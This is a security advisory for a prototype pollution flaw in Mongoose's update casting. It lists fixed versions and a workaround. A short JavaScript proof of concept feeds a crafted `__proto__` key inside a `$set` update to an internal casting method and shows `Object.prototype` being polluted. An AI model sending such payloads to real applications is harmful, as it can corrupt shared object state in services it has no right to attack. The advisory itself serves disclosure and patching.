GHSA-664h-wqgq-64gw

### Impact _What kind of vulnerability is it? Who is impacted?_

Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like `MyModel.updateOne(filter, req.body)`, can cause Mongoose to set `$fullPath` and `$parentSchemaDocArray` on `Object.prototype`.

Example:

```javascript const mongoose = require('mongoose'); console.log('before:', Object.prototype.$fullPath); // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String })); const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}'); // attacker-controlled update

const q = User.updateOne({}, {}); try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath); // "__proto__" console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true console.log('fresh {}:', ({}).$fullPath); // "__proto__" ```

### Patches _Has the problem been patched? What versions should users upgrade to?_

9.7.2, 8.24.1. 7.8.10, 6.13.10

### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_

Check user-controlled updates for own `__proto__` properties before passing to Mongoose

### References _Are there any links users can visit to find out more?_